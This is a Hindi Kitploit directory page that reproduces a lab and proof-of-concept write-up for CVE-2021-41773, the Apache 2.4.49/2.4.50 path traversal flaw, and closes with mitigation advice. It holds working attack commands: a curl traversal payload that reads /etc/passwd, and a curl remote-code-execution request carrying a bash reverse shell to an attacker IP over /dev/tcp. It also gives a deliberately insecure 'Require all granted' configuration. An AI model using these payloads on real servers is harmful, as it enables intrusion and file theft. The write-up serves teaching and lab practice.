Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-41773-POC — CVE 2021 41773 का POC और लैब सेटअप दस्तावेज़ीकरण | Kitploit
उपकरण/GitHubGitHub/ashique-thaha/cve-2021-41773-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubashique-thaha/cve-2021-41773-poc

CVE-2021-41773-POC

CVE 2021 41773 का POC और लैब सेटअप दस्तावेज़ीकरण

रिपॉजिटरी देखें
151 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-41773-POC

CVE-2021-41773 का POC और प्रयोगशाला सेटअप दस्तावेज़ीकरण


CVE-2021-41773 क्या है?

CVE-2021-41773, Apache HTTP सर्वर 2.4.49 और 2.4.50 में एक पथ ट्रैवर्सल भेद्यता है। यह भेद्यता इस संस्करण में पेश किए गए पथ सामान्यीकरण कोड में एक अद्यतन का शोषण करती है।

root@kitploit:~
पथ सामान्यीकरण फ़ंक्शन:
सामान्यतः पथ सामान्यीकरण URL पथ को एक मानक प्रारूप में फ़िल्टर करेगा
ताकि विरोधियों को दुर्भावनापूर्ण कार्यों से रोका जा सके।

Apache HTTP Server 2.4.49 ने ap_normalize_path फ़ंक्शन में एक बदलाव पेश किया जो इस भेद्यता का मूल कारण बन गया।

यदि हम स्रोत कोड पर एक नज़र डालें, तो हम देख सकते हैं कि फ़ंक्शन दिए गए URL में प्रत्येक वर्ण के माध्यम से पुनरावृत्त होता है और सैनिटाइज़ेशन लागू करता है।

लेकिन भेद्यता कोड के उस भाग में मौजूद है, जहां यह URL डिकोडिंग करता है। फ़ंक्शन सरल है, यह केवल URL एन्कोडेड वर्ण को डिकोड करेगा

root@kitploit:~
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
    path[l] == '%' &&
    apr_isxdigit(path[l + 1]) &&
    apr_isxdigit(path[l + 2])) 
{
    // Decode the percent-encoded character
    const char c = x2c(&path[l + 1]);

    // Check if the decoded character is alphanumeric or one of the allowed symbols
    if (apr_isalnum(c) || (c && strchr("-._~", c))) 
    {
        // Replace the last character with the decoded one and update position
        l += 2;
        path[l] = c;
    }
}

यहाँ समस्या यह है कि यह केवल URL में पहले डॉट . को संभालता है, जिसका अर्थ है कि यदि हम ../ के बजाय .%2e/ देते हैं, तो सर्वर %2e को डॉट के रूप में डिकोड करेगा, जो ../ में अनुवादित हो जाएगा।

सामान्य स्थिति:

root@kitploit:~
URL इनपुट: http://target/cgi-bin/../../etc/passwd

पथ सामान्यीकरण चरण:

1. ../ का पता लगाएं -> एक निर्देशिका ऊपर जाने का प्रयास।

2. सामान्यीकरण फ़ंक्शन -> ../ को हटा देगा या ब्लॉक कर देगा

कमजोर स्थिति:

root@kitploit:~
URL इनपुट: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd

पथ सामान्यीकरण चरण:

1. %2e को . में डिकोड करें -> परिणाम ./.././../etc/passwd है

2. आंशिक सामान्यीकरण -> .%2e/ को ../ के समकक्ष नहीं पहचानता

3. पथ ट्रैवर्सल पूरी तरह से अवरुद्ध नहीं है।

परिणामी पथ: /etc/passwd (पहुँच अनुमत)

यह समस्या तब खतरनाक और शोषणीय हो जाती है जब इसे सर्वर निर्देशों के साथ जोड़ा जाता है। ये Apache सर्वर के व्यवहार के लिए नियम के रूप में कार्य करते हैं।

Require all granted कॉन्फ़िगरेशन DocumentRoot के अंदर संसाधनों तक पहुँचने के लिए सभी अनुरोधों को स्पष्ट रूप से अनुमति देगा।

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # जानबूझकर कमजोर सेटिंग, यहाँ सामान्यतः इसे अस्वीकार किया गया था
</Directory>

यदि सर्वर रूट स्तर पर Require all granted निर्देश के साथ कॉन्फ़िगर किया गया है, तो यह संपूर्ण फ़ाइल सिस्टम को सार्वजनिक रूप से सुलभ बना देता है।

Apache में cgi-bin निर्देशिका डिफ़ॉल्ट रूप से Require all granted निर्देश के साथ एक उपनाम निर्देशिका है, जो सार्वजनिक पहुँच की अनुमति देती है, जिसका अर्थ है कि हर कोई /usr/local/apache2/cgi-bin/ निर्देशिका में अनुरोध कर सकता है।

ap_normalize_path फ़ंक्शन में तर्क दोष को जोड़कर जो पथ ट्रैवर्सल बाईपास की अनुमति देता है और सर्वर पर एक गलत कॉन्फ़िगर किए गए Require all granted निर्देश को मिलाकर, हमलावर इच्छित निर्देशिकाओं के बाहर सर्वर फ़ाइल सिस्टम पर फ़ाइलों तक पहुँच सकते हैं।

यदि सर्वर पर mod_cgi सक्षम है तो इस भेद्यता का और शोषण करके रिमोट कोड निष्पादन (Remote Code Execution) किया जा सकता है।

डिफ़ॉल्ट रूप से यह मॉड्यूल Apache HTTPD पर सक्षम नहीं है, इसका मतलब है कि डिफ़ॉल्ट संस्करण RCE के लिए कमजोर नहीं है।

mod_cgi सर्वर पर CGI (कॉमन गेटवे इंटरफ़ेस) स्क्रिप्ट के निष्पादन की अनुमति देता है और आउटपुट क्लाइंट को लौटाता है; इसका उपयोग मुख्य रूप से वेबसाइटों को गतिशील सुविधाएँ प्रदान करने के लिए किया जाता है।


प्रयोगशाला स्थापित करना

  • प्रयोगशाला बनाने के लिए एक Linux VM स्थापित करें
  • इसके बाद इस VM में Apache का कमजोर संस्करण सेटअप करें

Apache का कमजोर संस्करण डाउनलोड करें (आर्काइव से डाउनलोड करना क्योंकि कमजोर संस्करण सीधे स्थापित करने के लिए उपलब्ध नहीं है):

root@kitploit:~
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz

निर्भरताएँ स्थापित करें:

root@kitploit:~
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
root@kitploit:~
sudo apt-get install build-essential

Apache कमजोर फ़ाइल को डीकंप्रेस करें और इसे कॉन्फ़िगर करें:

root@kitploit:~
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install

इसे सफलतापूर्वक समाप्त करने के बाद, Apache के कॉन्फ़िगरेशन फ़ाइल पर जाएँ:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित जोड़ें:

root@kitploit:~
ServerName 127.0.1.1

Apache सेवाएँ प्रारंभ करें:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

डिफ़ॉल्ट वेब सर्वर निर्देशिका पर जाएँ:

root@kitploit:~
cd /usr/local/apache2/htdocs

नोट: सामान्यतः Apache के लिए रूट निर्देशिका /var/www/html होती है, यहाँ यह /usr/local/apache2/htdocs है क्योंकि हमने सर्वर को स्रोत से स्थापित नहीं किया है, हम इसे चाहें तो /var/www/html बना सकते हैं। लेकिन मैं इसे अभी के लिए वैसे ही रख रहा हूँ।

एक बुनियादी स्थैतिक वेबसाइट बनाएँ:

HTML:

root@kitploit:~
echo "GNU nano 6.2 index.html *                                               
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2021-41773</title>
    <!-- Link to external CSS file -->
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
  <h1>Error <span class="errorcode">404</span></h1>
  <p class="output">This is a replication of CVE-2021-41773</p>
  <p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
  <p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html

CSS:

root@kitploit:~
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';

html {
  min-height: 100%;
}

body {
  box-sizing: border-box;
  height: 100%;
  background-color: #000000;
  background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  font-family: 'Inconsolata', Helvetica, sans-serif;
  font-size: 1.5rem;
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1ex rgba(51, 255, 51, 1),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.noise {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
  background-repeat: no-repeat;
  background-size: cover;
  z-index: -1;
  opacity: .02;
}

.overlay {
  pointer-events: none;
  position: absolute;
  width: 100%;
  height: 100%;
  background:
      repeating-linear-gradient(
      180deg,
      rgba(0, 0, 0, 0) 0,
      rgba(0, 0, 0, 0.3) 50%,
      rgba(0, 0, 0, 0) 100%);
  background-size: auto 4px;
  z-index: 1;
}

.overlay::before {
  content: "";
  pointer-events: none;
  position: absolute;
  display: block;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  width: 100%;
  height: 100%;
  background-image: linear-gradient(
      0deg,
      transparent 0%,
      rgba(32, 128, 32, 0.2) 2%,
      rgba(32, 128, 32, 0.8) 3%,
      rgba(32, 128, 32, 0.2) 3%,
      transparent 100%);
  background-repeat: no-repeat;
  animation: scan 7.5s linear 0s infinite;
}

@keyframes scan {
  0%        { background-position: 0 -100vh; }
  35%, 100% { background-position: 0 100vh; }
}

.terminal {
  box-sizing: inherit;
  position: absolute;
  height: 100%;
  width: 1000px;
  max-width: 100%;
  padding: 4rem;
  text-transform: uppercase;
}

.output {
  color: rgba(128, 255, 128, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.output::before {
  content: "> ";
}

/*
.input {
  color: rgba(192, 255, 192, 0.8);
  text-shadow:
      0 0 1px rgba(51, 255, 51, 0.4),
      0 0 2px rgba(255, 255, 255, 0.8);
}

.input::before {
  content: "$ ";
}
*/

a {
  color: #fff;
  text-decoration: none;
}

a::before {
  content: "[";
}

a::after {
  content: "]";
}

.errorcode {
  color: white;
}"| sudo tee styles.css

भेद्यता का अनुकरण करने के लिए Apache कॉन्फ़िगरेशन संपादित करें:

root@kitploit:~
sudo nano /usr/local/apache2/conf/httpd.conf

कॉन्फ़िगरेशन फ़ाइल के इस भाग में बदलाव करें ताकि भेद्यता का शोषण किया जा सके:

root@kitploit:~
<Directory />
    AllowOverride None
    Require all granted  # जानबूझकर कमजोर सेटिंग, यहाँ सामान्यतः इसे अस्वीकार किया गया था
</Directory>

अब Apache सर्वर प्रारंभ करें:

root@kitploit:~
sudo /usr/local/apache2/bin/apachectl start

निम्नलिखित टाइप करके कमजोर वेबसाइट पर जाएँ

root@kitploit:~
http://<vm-ip>

प्रयोगशाला तैयार है, अब देखते हैं कि शोषण कैसे काम करता है:


शोषण

यह curl अनुरोध भेद्यता को आमंत्रित करेगा:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

हम इस तरह /etc/passwd फ़ाइल या सिस्टम में किसी भी फ़ाइल तक पहुँच सकते हैं


आइए कमांड इंजेक्शन का प्रयास करें और एक रिवर्स शेल प्राप्त करने का प्रयास करें:

हमलावर मशीन पर एक netcat लिसनर सेटअप करें:

root@kitploit:~
nc -lvnp 4444

अब पीड़ित को curl अनुरोध के माध्यम से Bash वन-लाइन भेजें:

root@kitploit:~
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'

यह हमें शेल एक्सेस देगा।


शमन

संस्करण 2.4.49 और संस्करण 2.4.50 के अनुसार, अनुशंसित शमन नवीनतम संस्करण में अपग्रेड करना है।

यदि अद्यतन करना संभव नहीं है, तो सार्वजनिक पहुँच को प्रतिबंधित करने के लिए निर्देशिकाओं का ऑडिट करना उचित है:

  • Require all denied निर्देश उन सभी निर्देशिकाओं पर लागू किया जाना चाहिए जो सार्वजनिक पहुँच के लिए अभिप्रेत नहीं हैं, और कभी भी रूट/निर्देशिका पर नहीं।

  • /cgi-bin निर्देशिका को Require all denied निर्देश के साथ कॉन्फ़िगर किया जाना चाहिए और इसे उपनाम के रूप में सेट नहीं किया जाना चाहिए।

टूल डाउनलोड करें